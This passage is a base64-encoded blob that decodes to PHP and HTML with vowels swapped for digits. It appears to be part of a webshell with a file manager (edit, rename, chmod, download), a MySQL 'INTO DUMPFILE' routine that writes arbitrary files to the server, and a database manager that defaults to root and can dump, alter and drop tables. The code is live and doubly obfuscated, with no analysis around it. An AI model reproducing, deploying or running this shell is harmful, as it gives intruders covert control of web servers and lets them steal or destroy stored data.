NHN0IiAxY3Q0Mm49IicuJHM1bGYuJyIgbTV0aDJkPSJwMnN0Ij4nKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnZjRsNScpOw0KCW0xazVoNGQ1KCd0aDVmNGw1Jyk7DQoJbTFrNWg0ZDUoJ2QyNG5nJyk7DQoJbTFrNWg0ZDUoJ2Q0cicsJG4yd3AxdGgpOw0KCSRmNGw1XzQgPSAnMCc7DQoJZjJyNTFjaCgkZjRsNWQxdDEgMXMgJGs1eSA9PiAkZjRsNWRiKXsNCgkJNGYoJGY0bDVkYlsnZjRsNW4xbTUnXSE9Jy4uJyAmJiAkZjRsNWRiWydmNGw1bjFtNSddIT0nLicpIHsNCgkJCSRmNGw1M3JsID0gc3RyX3I1cGwxYzUoU0FfUk9PVCwnJywkZjRsNWRiWydzNXJ2NXJfbDRuayddKTsNCgkJCSR0aDRzYmcgPSBiZygpOw0KCQkJcCgnPHRyIGNsMXNzPSJmMjN0IiAybm0yM3M1MnY1cj0idGg0cy5jbDFzc04xbTU9XCdmMmMzc1wnOyIgMm5tMjNzNTIzdD0idGg0cy5jbDFzc04xbTU9XCdmMjN0XCc7Ij4nKTsNCgkJCXAoJzx0ZCB3NGR0aD0iYSUiIG4yd3IxcD48NG5wM3QgdHlwNT0iY2g1Y2tiMngiIHYxbDM1PSI2IiBuMW01PSJkbFsnLiRmNGw1ZGJbJ3M1cnY1cl9sNG5rJ10uJ10iPjwvdGQ+Jyk7DQoJCQlwKCc8dGQ+PDEgaHI1Zj0iJy4kZjRsNTNybC4nIiB0MXJnNXQ9Il9ibDFuayI+Jy4kZjRsNWRiWydmNGw1bjFtNSddLic8LzE+PC90ZD4nKTsNCgkJCXAoJzx0ZCBuMndyMXA+Jy4kZjRsNWRiWydtdDRtNSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG4yd3IxcD4nLiRmNGw1ZGJbJ3M0ejUnXS4nPC90ZD4nKTsNCgkJCXAoJzx0ZCBuMndyMXA+Jyk7DQoJCQlwKCc8MSBocjVmPSJqMXYxc2NyNHB0OmY0bDVwNXJtKFwnJy4kZjRsNWRiWydzNXJ2NXJfbDRuayddLidcJyk7Ij4nLiRmNGw1ZGJbJ2Y0bDVjaG0yZCddLic8LzE+IC8gJyk7DQoJCQlwKCc8MSBocjVmPSJqMXYxc2NyNHB0OmY0bDVwNXJtKFwnJy4kZjRsNWRiWydzNXJ2NXJfbDRuayddLidcJyk7Ij4nLiRmNGw1ZGJbJ2Y0bDVwNXJtJ10uJzwvMT4nLiRmNGw1ZGJbJ2Y0bDUyd241ciddLic8L3RkPicpOw0KCQkJcCgnPHRkIG4yd3IxcD4nKTsNCgkJCXAoJzwxIGhyNWY9ImoxdjFzY3I0cHQ6ZDJmNGw1KFwnZDJ3bmY0bDVcJyxcJycuJGY0bDVkYlsnczVydjVyX2w0bmsnXS4nXCcpOyI+VCYjNzh1bzs0IFgzJiM3ODg5O25nPC8xPiB8ICcpOw0KCQkJcCgnPDEgaHI1Zj0iajF2MXNjcjRwdDpjMnB5ZjRsNShcJycuJGY0bDVkYlsnczVydjVyX2w0bmsnXS4nXCcpOyI+QzJweTwvMT4gfCAnKTsNCgkJCXAoJzwxIGhyNWY9ImoxdjFzY3I0cHQ6MnBmNGw1KFwnNWQ0dGY0bDVcJyxcJycuJGY0bDVkYlsnczVydjVyX2w0bmsnXS4nXCcsXCcnLiRmNGw1ZGJbJ2Q0cmw0bmsnXS4nXCcpOyI+RWQ0dDwvMT4gfCAnKTsNCgkJCXAoJzwxIGhyNWY9ImoxdjFzY3I0cHQ6cjVuMW01KFwnJy4kZjRsNWRiWydzNXJ2NXJfbDRuayddLidcJyk7Ij4mI2E3YTsmIzc4OW87NCBUJiNhb3U7bjwvMT4gfCAnKTsNCgkJCXAoJzwxIGhyNWY9ImoxdjFzY3I0cHQ6MnBmNGw1KFwnbjV3dDRtNVwnLFwnJy4kZjRsNWRiWydzNXJ2NXJfbDRuayddLidcJyxcJycuJGY0bDVkYlsnZDRybDRuayddLidcJyk7Ij5UaCYjNzkwNjs0IEc0MW48LzE+Jyk7DQoJCQlwKCc8L3RkPjwvdHI+Jyk7DQoJCQkkZjRsNV80Kys7DQoJCX0NCgl9DQoJcCgnPHRyIGNsMXNzPSJmMjN0NiI+PHRkIDFsNGduPSJjNW50NXIiPjw0bnAzdCBuMW01PSJjaGsxbGwiIHYxbDM1PSIybiIgdHlwNT0iY2g1Y2tiMngiIDJuY2w0Y2s9IkNoNWNrQWxsKHRoNHMuZjJybSkiIC8+PC90ZD48dGQ+PDEgaHI1Zj0iajF2MXNjcjRwdDpkMmY0bDUoXCdkMnducjFyXCcpOyI+Q2gmIzc4OGk7biAmI2E3YTsmIzc4N2k7IFQmIzc4dW87NCBYMyYjNzg4OTtuZzwvMT4gLSA8MSBocjVmPSJqMXYxc2NyNHB0OmQyZjRsNShcJ2Q1bGY0bDVzXCcpOyI+WCYjYXVvOzEgRjRsNTwvMT48L3RkPjx0ZCBjMmxzcDFuPSJ1IiAxbDRnbj0icjRnaHQiPicuJGQ0cl80LicgZDRyNWN0MnI0NXMgLyAnLiRmNGw1XzQuJyBmNGw1czwvdGQ+PC90cj4nKTsNCglwKCc8L2Yycm0+PC90MWJsNT4nKTsNCn0vLyA1bmQgZDRyDQoNCjVsczU0ZiAoJDFjdDQybiA9PSAnc3FsZjRsNScpIHsNCgk0ZigkZDI0bmc9PSJteXNxbDNwbDIxZCIpew0KCQkkZjRsNSA9ICRfRklMRVNbJzNwbDIxZGY0bDUnXTsNCgkJJGY0bDVuMW01ID0gJGY0bDVbJ3RtcF9uMW01J107DQoJCTRmIChmNGw1XzV4NHN0cygkczF2NXAxdGgpKSB7DQoJCQltKCdUaDUgZzIxbCBmNGw1IGgxcyAxbHI1MWR5IDV4NHN0NWQnKTsNCgkJfSA1bHM1IHsNCgkJCTRmKCEkZjRsNW4xbTUpIHsNCgkJCQltKCdQbDUxczUgY2gyMnM1IDEgZjRsNScpOw0KCQkJfSA1bHM1IHsNCgkJCQkkZnA9QGYycDVuKCRmNGw1bjFtNSwncicpOw0KCQkJCSRjMm50NW50cz1AZnI1MWQoJGZwLCBmNGw1czR6NSgkZjRsNW4xbTUpKTsNCgkJCQlAZmNsMnM1KCRmcCk7DQoJCQkJJGMybnQ1bnRzID0gYjRuYWg1eCgkYzJudDVudHMpOw0KCQkJCTRmKCEkM3BuMW01KSAkM3BuMW01ID0gJGY0bDVbJ24xbTUnXTsNCgkJCQlkYmMybm4oJGRiaDJzdCwkZGIzczVyLCRkYnAxc3MsJGRibjFtNSwkY2gxcnM1dCwkZGJwMnJ0KTsNCgkJCQkkcjVzM2x0ID0gcSgiU0VMRUNUIDB4eyRjMm50NW50c30gRlJPTSBteXNxbC4zczVyIElOVE8gRFVNUEZJTEUgJyRzMXY1cDF0aCc7Iik7DQoJCQkJbSgkcjVzM2x0ID8gJ1VwbDIxZCBzM2NjNXNzJyA6ICdVcGwyMWQgaDFzIGYxNGw1ZDogJy5teXNxbF81cnIycigpKTsNCgkJCX0NCgkJfQ0KCX0NCj8+DQoNCjxzY3I0cHQgdHlwNT0idDV4dC9qMXYxc2NyNHB0Ij4NCmYzbmN0NDJuIG15c3FsZjRsNShkMjRuZyl7DQoJNGYoIWQyNG5nKSByNXQzcm47DQoJJCgnZDI0bmcnKS52MWwzNT1kMjRuZzsNCgkkKCdteXNxbGY0bDUnKS5kYmgyc3QudjFsMzU9JCgnZGI0bmYyJykuZGJoMnN0LnYxbDM1Ow0KCSQoJ215c3FsZjRsNScpLmRicDJydC52MWwzNT0kKCdkYjRuZjInKS5kYnAycnQudjFsMzU7DQoJJCgnbXlzcWxmNGw1JykuZGIzczVyLnYxbDM1PSQoJ2RiNG5mMicpLmRiM3M1ci52MWwzNTsNCgkkKCdteXNxbGY0bDUnKS5kYnAxc3MudjFsMzU9JCgnZGI0bmYyJykuZGJwMXNzLnYxbDM1Ow0KCSQoJ215c3FsZjRsNScpLmRibjFtNS52MWwzNT0kKCdkYjRuZjInKS5kYm4xbTUudjFsMzU7DQoJJCgnbXlzcWxmNGw1JykuY2gxcnM1dC52MWwzNT0kKCdkYjRuZjInKS5jaDFyczV0LnYxbDM1Ow0KCSQoJ215c3FsZjRsNScpLnMzYm00dCgpOw0KfQ0KPC9zY3I0cHQ+DQo8P3BocA0KCSEkZGJoMnN0ICYmICRkYmgyc3QgPSAnbDJjMWxoMnN0JzsNCgkhJGRiM3M1ciAmJiAkZGIzczVyID0gJ3IyMnQnOw0KCSEkZGJwMnJ0ICYmICRkYnAycnQgPSAnb28wZSc7DQoJJGNoMXJzNXRzID0gMXJyMXkoJyc9PidENWYxM2x0JywnZ2JrJz0+J0dCSycsICdiNGdpJz0+J0I0Z2knLCAnM3RmOCc9PidVVEYtOCcsICdsMXQ0bjYnPT4nTDF0NG42Jyk7DQoJZjJybWg1MWQoMXJyMXkoJ3Q0dGw1Jz0+J01ZU1FMIEluZjJybTF0NDJuJywnbjFtNSc9PidkYjRuZjInKSk7DQoJbTFrNWg0ZDUoJzFjdDQybicsJ3NxbGY0bDUnKTsNCglwKCc8cD4nKTsNCglwKCdEQkgyc3Q6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J2RiaDJzdCcsJ3M0ejUnPT5hMCwndjFsMzUnPT4kZGJoMnN0KSk7DQoJcCgnOicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidkYnAycnQnLCdzNHo1Jz0+dSwndjFsMzUnPT4kZGJwMnJ0KSk7DQoJcCgnREJVczVyOicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidkYjNzNXInLCdzNHo1Jz0+NmksJ3YxbDM1Jz0+JGRiM3M1cikpOw0KCXAoJ0RCUDFzczonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4nZGJwMXNzJywnczR6NSc9PjZpLCd2MWwzNSc9PiRkYnAxc3MpKTsNCglwKCdEQk4xbTU6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J2RibjFtNScsJ3M0ejUnPT42aSwndjFsMzUnPT4kZGJuMW01KSk7DQoJcCgnREJDaDFyczV0OicpOw0KCW0xazVzNWw1Y3QoMXJyMXkoJ24xbTUnPT4nY2gxcnM1dCcsJzJwdDQybic9PiRjaDFyczV0cywnczVsNWN0NWQnPT4kY2gxcnM1dCkpOw0KCXAoJzwvcD4nKTsNCglmMnJtZjIydCgpOw0KCXAoJzxmMnJtIDFjdDQybj0iJy4kczVsZi4nIiBtNXRoMmQ9IlBPU1QiIDVuY3R5cDU9Im0zbHQ0cDFydC9mMnJtLWQxdDEiIG4xbTU9Im15c3FsZjRsNSIgNGQ9Im15c3FsZjRsNSI+Jyk7DQoJcCgnPGhhPlVwbDIxZCBmNGw1PC9oYT4nKTsNCglwKCc8cD48Yj5UaDRzIDJwNXIxdDQybiB0aDUgREIgM3M1ciBtM3N0IGgxcyBGSUxFIHByNHY0bDVnNTwvYj48L3A+Jyk7DQoJcCgnPHA+UzF2NSBwMXRoKGYzbGxwMXRoKTogPDRucDN0IGNsMXNzPSI0bnAzdCIgbjFtNT0iczF2NXAxdGgiIHM0ejU9InVpIiB0eXA1PSJ0NXh0IiAvPiBDaDIyczUgMSBmNGw1OiA8NG5wM3QgY2wxc3M9IjRucDN0IiBuMW01PSIzcGwyMWRmNGw1IiB0eXA1PSJmNGw1IiAvPiA8MSBocjVmPSJqMXYxc2NyNHB0Om15c3FsZjRsNShcJ215c3FsM3BsMjFkXCcpOyI+VXBsMjFkPC8xPjwvcD4nKTsNCglwKCc8aGE+RDJ3bmwyMWQgZjRsNTwvaGE+Jyk7DQoJcCgnPHA+RjRsNTogPDRucDN0IGNsMXNzPSI0bnAzdCIgbjFtNT0ibXlzcWxkbGY0bDUiIHM0ejU9IjY2aSIgdHlwNT0idDV4dCIgLz4gPDEgaHI1Zj0iajF2MXNjcjRwdDpteXNxbGY0bDUoXCdteXNxbGQyd25cJyk7Ij5EMndubDIxZDwvMT48L3A+Jyk7DQoJbTFrNWg0ZDUoJ2RiaDJzdCcpOw0KCW0xazVoNGQ1KCdkYnAycnQnKTsNCgltMWs1aDRkNSgnZGIzczVyJyk7DQoJbTFrNWg0ZDUoJ2RicDFzcycpOw0KCW0xazVoNGQ1KCdkYm4xbTUnKTsNCgltMWs1aDRkNSgnY2gxcnM1dCcpOw0KCW0xazVoNGQ1KCdkMjRuZycpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdzcWxmNGw1Jyk7DQoJcCgnPC9mMnJtPicpOw0KfQ0KDQo1bHM1NGYgKCQxY3Q0Mm4gPT0gJ3NxbDFkbTRuJykgew0KCSEkZGJoMnN0ICYmICRkYmgyc3QgPSAnbDJjMWxoMnN0JzsNCgkhJGRiM3M1ciAmJiAkZGIzczVyID0gJ3IyMnQnOw0KCSEkZGJwMnJ0ICYmICRkYnAycnQgPSAnb28wZSc7DQoJJGRiZjJybSA9ICc8NG5wM3QgdHlwNT0iaDRkZDVuIiA0ZD0iYzJubjVjdCIgbjFtNT0iYzJubjVjdCIgdjFsMzU9IjYiIC8+JzsNCgk0Zig0c3M1dCgkZGJoMnN0KSl7DQoJCSRkYmYycm0gLj0gIjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgNGQ9XCJkYmgyc3RcIiBuMW01PVwiZGJoMnN0XCIgdjFsMzU9XCIkZGJoMnN0XCIgLz5cbiI7DQoJfQ0KCTRmKDRzczV0KCRkYjNzNXIpKSB7DQoJCSRkYmYycm0gLj0gIjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgNGQ9XCJkYjNzNXJcIiBuMW01PVwiZGIzczVyXCIgdjFsMzU9XCIkZGIzczVyXCIgLz5cbiI7DQoJfQ0KCTRmKDRzczV0KCRkYnAxc3MpKSB7DQoJCSRkYmYycm0gLj0gIjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgNGQ9XCJkYnAxc3NcIiBuMW01PVwiZGJwMXNzXCIgdjFsMzU9XCIkZGJwMXNzXCIgLz5cbiI7DQoJfQ0KCTRmKDRzczV0KCRkYnAycnQpKSB7DQoJCSRkYmYycm0gLj0gIjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgNGQ9XCJkYnAycnRcIiBuMW01PVwiZGJwMnJ0XCIgdjFsMzU9XCIkZGJwMnJ0XCIgLz5cbiI7DQoJfQ0KCTRmKDRzczV0KCRkYm4xbTUpKSB7DQoJCSRkYmYycm0gLj0gIjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgNGQ9XCJkYm4xbTVcIiBuMW01PVwiZGJuMW01XCIgdjFsMzU9XCIkZGJuMW01XCIgLz5cbiI7DQoJfQ0KCTRmKDRzczV0KCRjaDFyczV0KSkgew0KCQkkZGJmMnJtIC49ICI8NG5wM3QgdHlwNT1cImg0ZGQ1blwiIDRkPVwiY2gxcnM1dFwiIG4xbTU9XCJjaDFyczV0XCIgdjFsMzU9XCIkY2gxcnM1dFwiIC8+XG4iOw0KCX0NCg0KCTRmICgkZDI0bmcgPT0gJ2IxY2szcG15c3FsJyAmJiAkczF2NTFzZjRsNSkgew0KCQk0ZiAoISR0MWJsNSkgew0KCQkJbSgnUGw1MXM1IGNoMjJzNSB0aDUgdDFibDUnKTsNCgkJfSA1bHM1IHsNCgkJCWRiYzJubigkZGJoMnN0LCRkYjNzNXIsJGRicDFzcywkZGJuMW01LCRjaDFyczV0LCRkYnAycnQpOw0KCQkJJHQxYmw1ID0gMXJyMXlfZmw0cCgkdDFibDUpOw0KCQkJJGZwID0gQGYycDVuKCRwMXRoLCd3Jyk7DQoJCQk0ZiAoJGZwKSB7DQoJCQkJJHI1czNsdCA9IHEoJ1NIT1cgdDFibDVzJyk7DQoJCQkJNGYgKCEkcjVzM2x0KSBwKCc8aGE+Jy5teXNxbF81cnIycigpLic8L2hhPicpOw0KCQkJCSRteXNxbGQxdDEgPSAnJzsNCgkJCQl3aDRsNSAoJGMzcnIydyA9IG15c3FsX2Y1dGNoXzFycjF5KCRyNXMzbHQpKSB7DQoJCQkJCTRmICg0c3M1dCgkdDFibDVbJGMzcnIyd1swXV0pKSB7DQoJCQkJCQlzcWxkM21wdDFibDUoJGMzcnIyd1swXSwgJGZwKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlmY2wyczUoJGZwKTsNCgkJCQkkZjRsNTNybCA9IHN0cl9yNXBsMWM1KFNBX1JPT1QsJycsJHAxdGgpOw0KCQkJCW0oJ0QxdDFiMXM1IGgxcyBzM2NjNXNzIGIxY2szcCB0MiA8MSBocjVmPSInLiRmNGw1M3JsLiciIHQxcmc1dD0iX2JsMW5rIj4nLiRwMXRoLic8LzE+Jyk7DQoJCQkJbXlzcWxfY2wyczUoKTsNCgkJCX0gNWxzNSB7DQoJCQkJbSgnQjFjazNwIGYxNGw1ZCcpOw0KCQkJfQ0KCQl9DQoJfQ0KCTRmICgkNG5zNXJ0ICYmICQ0bnM1cnRzcWwpIHsNCgkJJGs1eXN0ciA9ICR2MWxzdHIgPSAkdG1wID0gJyc7DQoJCWYycjUxY2goJDRuczVydHNxbCAxcyAkazV5ID0+ICR2MWwpIHsNCgkJCTRmICgkdjFsKSB7DQoJCQkJJGs1eXN0ciAuPSAkdG1wLiRrNXk7DQoJCQkJJHYxbHN0ciAuPSAkdG1wLiInIi4xZGRzbDFzaDVzKCR2MWwpLiInIjsNCgkJCQkkdG1wID0gJywnOw0KCQkJfQ0KCQl9DQoJCTRmICgkazV5c3RyICYmICR2MWxzdHIpIHsNCgkJCWRiYzJubigkZGJoMnN0LCRkYjNzNXIsJGRicDFzcywkZGJuMW01LCRjaDFyczV0LCRkYnAycnQpOw0KCQkJbShxKCJJTlNFUlQgSU5UTyAkdDFibDVuMW01ICgkazV5c3RyKSBWQUxVRVMgKCR2MWxzdHIpIikgPyAnSW5zNXJ0IG41dyByNWMycmQgMmYgczNjYzVzcycgOiBteXNxbF81cnIycigpKTsNCgkJfQ0KCX0NCgk0ZiAoJDNwZDF0NSAmJiAkNG5zNXJ0c3FsICYmICRiMXM1ZXUpIHsNCgkJJHYxbHN0ciA9ICR0bXAgPSAnJzsNCgkJZjJyNTFjaCgkNG5zNXJ0c3FsIDFzICRrNXkgPT4gJHYxbCkgew0KCQkJJHYxbHN0ciAuPSAkdG1wLiRrNXkuIj0nIi4xZGRzbDFzaDVzKCR2MWwpLiInIjsNCgkJCSR0bXAgPSAnLCc7DQoJCX0NCgkJNGYgKCR2MWxzdHIpIHsNCgkJCSR3aDVyNSA9IGIxczVldV9kNWMyZDUoJGIxczVldSk7DQoJCQlkYmMybm4oJGRiaDJzdCwkZGIzczVyLCRkYnAxc3MsJGRibjFtNSwkY2gxcnM1dCwkZGJwMnJ0KTsNCgkJCW0ocSgiVVBEQVRFICR0MWJsNW4xbTUgU0VUICR2MWxzdHIgV0hFUkUgJHdoNXI1IExJTUlUIDYiKSA/ICdSNWMycmQgM3BkMXQ0bmcnIDogbXlzcWxfNXJyMnIoKSk7DQoJCX0NCgl9DQoJNGYgKCRkMjRuZyA9PSAnZDVsJyAmJiAkYjFzNWV1KSB7DQoJCSR3aDVyNSA9IGIxczVldV9kNWMyZDUoJGIxczVldSk7DQoJCSRkNWw1dDVfc3FsID0gIkRFTEVURSBGUk9NICR0MWJsNW4xbTUgV0hFUkUgJHdoNXI1IjsNCgkJZGJjMm5uKCRkYmgyc3QsJGRiM3M1ciwkZGJwMXNzLCRkYm4xbTUsJGNoMXJzNXQsJGRicDJydCk7DQoJCW0ocSgiREVMRVRFIEZST00gJHQxYmw1bjFtNSBXSEVSRSAkd2g1cjUiKSA/ICdENWw1dDQybiByNWMycmQgMmYgczNjYzVzcycgOiBteXNxbF81cnIycigpKTsNCgl9DQoNCgk0ZiAoJHQxYmw1bjFtNSAmJiAkZDI0bmcgPT0gJ2RyMnAnKSB7DQoJCWRiYzJubigkZGJoMnN0LCRkYjNzNXIsJGRicDFzcywkZGJuMW01LCRjaDFyczV0LCRkYnAycnQpOw0KCQk0ZiAocSgiRFJPUCBUQUJMRSAkdDFibDVuMW01IikpIHsNCgkJCW0oJ0RyMnAgdDFibDUgMmYgczNjYzVzcycpOw0KCQkJJHQxYmw1bjFtNSA9ICcnOw0KCQl9IDVsczUgew0KCQkJbShteXNxbF81cnIycigpKTsNCgkJfQ0KCX0NCg0KCSRjaDFyczV0cyA9IDFycjF5KCcnPT4nRDVmMTNsdCcsJ2diayc9PidHQksnLCAnYjRnaSc9PidCNGdpJywgJzN0ZjgnPT4nVVRGLTgnLCAnbDF0NG42Jz0+J0wxdDRuNicpOw0KDQoJZjJybWg1MWQoMXJyMXkoJ3Q0dGw1Jz0+J01ZU1FMIE0xbjFnNXInKSk7DQoJbTFrNWg0ZDUoJzFjdDQybicsJ3NxbDFkbTRuJyk7DQoJcCgnPHA+Jyk7DQoJcCgnREJIMnN0OicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidkYmgyc3QnLCdzNHo1Jz0+YTAsJ3YxbDM1Jz0+JGRiaDJzdCkpOw0KCXAoJzonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4nZGJwMnJ0JywnczR6NSc9PnUsJ3YxbDM1Jz0+JGRicDJydCkpOw0KCXAoJ0RCVXM1cjonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4nZGIzczVyJywnczR6NSc9PjZpLCd2MWwzNSc9PiRkYjNzNXIpKTsNCglwKCdEQlAxc3M6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J2RicDFzcycsJ3M0ejUnPT42aSwndjFsMzUnPT4kZGJwMXNzKSk7DQoJcCgnREJDaDFyczV0OicpOw0KCW0xazVzNWw1Y3QoMXJyMXkoJ24xbTUnPT4nY2gxcnM1dCcsJzJwdDQybic9PiRjaDFyczV0cywnczVsNWN0NWQnPT4kY2gxcnM1dCkpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidjMm5uNWN0JywndjFsMzUnPT4nQzJubjVjdCcsJ3R5cDUnPT4nczNibTR0JywnY2wxc3MnPT4nYnQnKSk7DQoJcCgnPC9wPicpOw0KCWYycm1mMjJ0KCk7DQo/Pg0KDQo8c2NyNHB0IHR5cDU9InQ1eHQvajF2MXNjcjRwdCI+DQpmM25jdDQybiA1ZDR0cjVjMnJkKDFjdDQybiwgYjFzNWV1LCB0MWJsNW4xbTUpew0KCTRmICgxY3Q0Mm4gPT0gJ2Q1bCcpIHsNCgkJNGYgKCFjMm5mNHJtKCdJcyAyciA0c25cJ3QgZDVsNXQ0Mm4gcjVjMnJkPycpKSByNXQzcm47DQoJfQ0KCSQoJ3I1YzJyZGw0c3QnKS5kMjRuZy52MWwzNT0xY3Q0Mm47DQoJJCgncjVjMnJkbDRzdCcpLmIxczVldS52MWwzNT1iMXM1ZXU7DQoJJCgncjVjMnJkbDRzdCcpLnQxYmw1bjFtNS52MWwzNT10MWJsNW4xbTU7DQoJJCgncjVjMnJkbDRzdCcpLnMzYm00dCgpOw0KfQ0KZjNuY3Q0Mm4gbTJkZGJuMW01KGRibjFtNSkgew0KCTRmKCFkYm4xbTUpIHI1dDNybjsNCgkkKCdzNXRkYm4xbTUnKS5kYm4xbTUudjFsMzU9ZGJuMW01Ow0KCSQoJ3M1dGRibjFtNScpLnMzYm00dCgpOw0KfQ0KZjNuY3Q0Mm4gczV0dDFibDUodDFibDVuMW01LGQyNG5nLHAxZzUpIHsNCgk0ZighdDFibDVuMW01KSByNXQzcm47DQoJNGYgKGQyNG5nKSB7DQoJCSQoJ3M1dHQxYmw1JykuZDI0bmcudjFsMzU9ZDI0bmc7DQoJfQ0KCTRmIChwMWc1KSB7DQoJCSQoJ3M1dHQxYmw1JykucDFnNS52MWwzNT1wMWc1Ow0KCX0NCgkkKCdzNXR0MWJsNScpLnQxYmw1bjFtNS52MWwzNT10MWJsNW4xbTU7DQoJJCgnczV0dDFibDUnKS5zM2JtNHQoKTsNCn0NCjwvc2NyNHB0Pg0KPD9waHANCgkvLyBTUUwNCglmMnJtaDUxZCgxcnIxeSgnbjFtNSc9PidyNWMycmRsNHN0JykpOw0KCW0xazVoNGQ1KCdkMjRuZycpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdzcWwxZG00bicpOw0KCW0xazVoNGQ1KCdiMXM1ZXUnKTsNCgltMWs1aDRkNSgndDFibDVuMW01Jyk7DQoJcCgkZGJmMnJtKTsNCglmMnJtZjIydCgpOw0KDQoJLy8gRDF0MQ0KCWYycm1oNTFkKDFycjF5KCduMW01Jz0+J3M1dGRibjFtNScpKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnc3FsMWRtNG4nKTsNCglwKCRkYmYycm0pOw0KCTRmICghJGRibjFtNSkgew0KCQltMWs1aDRkNSgnZGJuMW01Jyk7DQoJfQ0KCWYycm1mMjJ0KCk7DQoNCg0KCWYycm1oNTFkKDFycjF5KCduMW01Jz0+J3M1dHQxYmw1JykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdzcWwxZG00bicpOw0KCXAoJGRiZjJybSk7DQoJbTFrNWg0ZDUoJ3QxYmw1bjFtNScpOw0KCW0xazVoNGQ1KCdwMWc1JywkcDFnNSk7DQoJbTFrNWg0ZDUoJ2QyNG5nJyk7DQoJZjJybWYyMnQoKTsNCg0KCSRjMWNoNXQxYmw1cyA9IDFycjF5KCk7DQoJJHAxZzVuM20gPSBvMDsNCgkkcDFnNSA9IDRudHYxbCgkcDFnNSk7DQoJNGYoJHAxZzUpIHsNCgkJJHN0MXJ0X2w0bTR0ID0gKCRwMWc1IC0gNikgKiAkcDFnNW4zbTsNCgl9IDVsczUgew0KCQkkc3QxcnRfbDRtNHQgPSAwOw0KCQkkcDFnNSA9IDY7DQoJfQ0KCTRmICg0c3M1dCgkZGJoMnN0KSAmJiA0c3M1dCgkZGIzczVyKSAmJiA0c3M1dCgkZGJwMXNzKSAmJiA0c3M1dCgkYzJubjVjdCkpIHsNCgkJZGJjMm5uKCRkYmgyc3QsICRkYjNzNXIsICRkYnAxc3MsICRkYm4xbTUsICRjaDFyczV0LCAkZGJwMnJ0KTsNCgkJLy8gZzV0IG15c3FsIHM1cnY1cg0KCQkkbXlzcWx2NXIgPSBteXNxbF9nNXRfczVydjVyXzRuZjIoKTsNCgkJcCgnPHA+TXlTUUwgJy4kbXlzcWx2NXIuJyByM25uNG5nIDRuICcuJGRiaDJzdC4nIDFzICcuJGRiM3M1ci4nQCcuJGRiaDJzdC4nPC9wPicpOw0KCQkkaDRnaHY1ciA9ICRteXNxbHY1ciA+ICd1LjYnID8gNiA6IDA7DQoNCgkJLy8gU2gydyBkMXQxYjFzNQ0KCQkkcTM1cnkgPSBxKCJTSE9XIERBVEFCQVNFUyIpOw0KCQkkZGJzID0gMXJyMXkoKTsNCgkJJGRic1tdID0gJy0tIFM1bDVjdCAxIGQxdDFiMXM1IC0tJzsNCgkJd2g0bDUoJGRiID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHEzNXJ5KSkgew0KCQkJJGRic1skZGJbJ0QxdDFiMXM1J11dID0gJGRiWydEMXQxYjFzNSddOw0KCQl9DQoJCW0xazVzNWw1Y3QoMXJyMXkoJ3Q0dGw1Jz0+J1BsNTFzNSBzNWw1Y3QgMSBkMXQxYjFzNTonLCduMW01Jz0+J2RiW10nLCcycHQ0Mm4nPT4kZGJzLCdzNWw1Y3Q1ZCc9PiRkYm4xbTUsJzJuY2gxbmc1Jz0+J20yZGRibjFtNSh0aDRzLjJwdDQybnNbdGg0cy5zNWw1Y3Q1ZEluZDV4XS52MWwzNSknLCduNXdsNG41Jz0+NikpOw0KCQkkdDFibDVkYiA9IDFycjF5KCk7DQoJCTRmICgkZGJuMW01KSB7DQoJCQlwKCc8cD4nKTsNCgkJCXAoJ0MzcnI1bnQgZDFiMWIxczU6IDwxIGhyNWY9ImoxdjFzY3I0cHQ6bTJkZGJuMW01KFwnJy4kZGJuMW01LidcJyk7Ij4nLiRkYm4xbTUuJzwvMT4nKTsNCgkJCTRmICgkdDFibDVuMW01KSB7DQoJCQkJcCgnIHwgQzNycjVudCBUMWJsNTogPDEgaHI1Zj0iajF2MXNjcjRwdDpzNXR0MWJsNShcJycuJHQxYmw1bjFtNS4nXCcpOyI+Jy4kdDFibDVuMW01Lic8LzE+IFsgPDEgaHI1Zj0iajF2MXNjcjRwdDpzNXR0MWJsNShcJycuJHQxYmw1bjFtNS4nXCcsIFwnNG5zNXJ0XCcpOyI+SW5zNXJ0PC8xPiB8IDwxIGhyNWY9ImoxdjFzY3I0cHQ6czV0dDFibDUoXCcnLiR0MWJsNW4xbTUuJ1wnLCBcJ3N0cjNjdDNyNVwnKTsiPlN0cjNjdDNyNTwvMT4gfCA8MSBocjVmPSJqMXYxc2NyNHB0OnM1dHQxYmw1KFwnJy4kdDFibDVuMW01LidcJywgXCdkcjJwXCcpOyI+RHIycDwvMT4gXScpOw0KCQkJfQ0KCQkJcCgnPC9wPicpOw0KCQkJbXlzcWxfczVsNWN0X2RiKCRkYm4xbTUpOw0KDQoJCQkkZzV0bjNtc3FsID0gJyc7DQoJCQkkcjNucTM1cnkgPSAwOw0KCQkJNGYgKCRzcWxfcTM1cnkpIHsNCgkJCQkkcjNucTM1cnkgPSA2Ow0KCQkJfQ0KCQkJJDFsbDJ3NWQ0dCA9IDA7DQoJCQk0ZiAoJHQxYmw1bjFtNSAmJiAhJHNxbF9xMzVyeSkgew0KCQkJCSRzcWxfcTM1cnkgPSAiU0VMRUNUICogRlJPTSAkdDFibDVuMW01IjsNCgkJCQkkZzV0bjNtc3FsID0gJHNxbF9xMzVyeTs